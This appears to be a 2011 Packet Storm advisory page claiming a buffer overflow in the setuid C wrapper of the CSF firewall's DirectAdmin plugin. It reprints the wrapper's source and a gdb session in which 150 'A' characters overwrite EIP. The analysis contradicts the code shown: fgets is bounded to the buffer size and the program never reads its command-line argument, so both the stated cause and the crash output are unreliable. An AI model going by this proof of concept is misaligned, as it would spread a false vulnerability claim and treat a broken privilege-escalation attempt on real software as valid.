what you don't know can hurt you

CSF Firewall Buffer Overflow

CSF Firewall Buffer Overflow
Posted Dec 9, 2011
Authored by FoX HaCkEr

CSF Firewall suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | db727d65fbb00f16a709a2c8c510383c

CSF Firewall Buffer Overflow

Change Mirror Download
############################################################################
# Exploit Title: CSF Firewall Buffer overflow p0c
# DownLoaD : http://www.configserver.com/free/csf.tgz
# Date: 2011-12-09
# Author: FoX HaCkEr
# site : www.sec4ever.com
# MaiL : Mkq@hotmail.com
# Tested on: CentOS3/4
############################################################################

==============================================================================
FiLe : CSF.c

/*
* Copyright 2006-2011, Way to the Web Limited
* URL: http://www.configserver.com
* Email: sales@waytotheweb.com
*/
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <pwd.h>
main ()
{
FILE *adminFile;
uid_t ruid;
char name[100];
struct passwd *pw;
int admin = 0;

ruid = getuid();
pw = getpwuid(ruid);

adminFile=fopen ("/usr/local/directadmin/data/admin/admin.list","r");
while(fgets(name,100,adminFile) != NULL)
{
int end = strlen(name) - 1;
if (end >= 0 && name[end] == '\n') name[end] = '\0';
//printf("Name [%s]\n", name);
if (strcmp(pw->pw_name, name) == 0) admin = 1;
}
fclose(adminFile);
if (admin == 1)
{
setuid(0);
setgid(0);
//setegid(0);
//seteuid(0);
execv("/usr/local/directadmin/plugins/csf/exec/da_csf.cgi", NULL);
} else {
printf("Permission denied [User:%s UID:%d]\n", pw->pw_name, ruid);
}
return 0;
}


===========================================================================

why buffer overflow ?


Because char name[100];

fgets()

If we add more than what would be happening?

Buffer OverFlow ^_^

============================================================================


(gdb) run `python -c 'print "\x41"*150'`
Starting program: /root/csf `python -c 'print "\x41"*150'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0xb7fc54e0 -1208199968
edx 0xb7fc6360 -1208196256
ebx 0xb7fc4ff4 -1208201228
esp 0xbffff310 0xbffff310
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) i r eip
eip 0x41414141 0x41414141
(gdb) i r eip esp
eip 0x41414141 0x41414141
esp 0xbffff310 0xbffff310
(gdb)
=========================================================================
N0 ExpLoiT ScRipt KiiiD'z

Gr33T'z : ALL My Friends ..............



Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    6 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close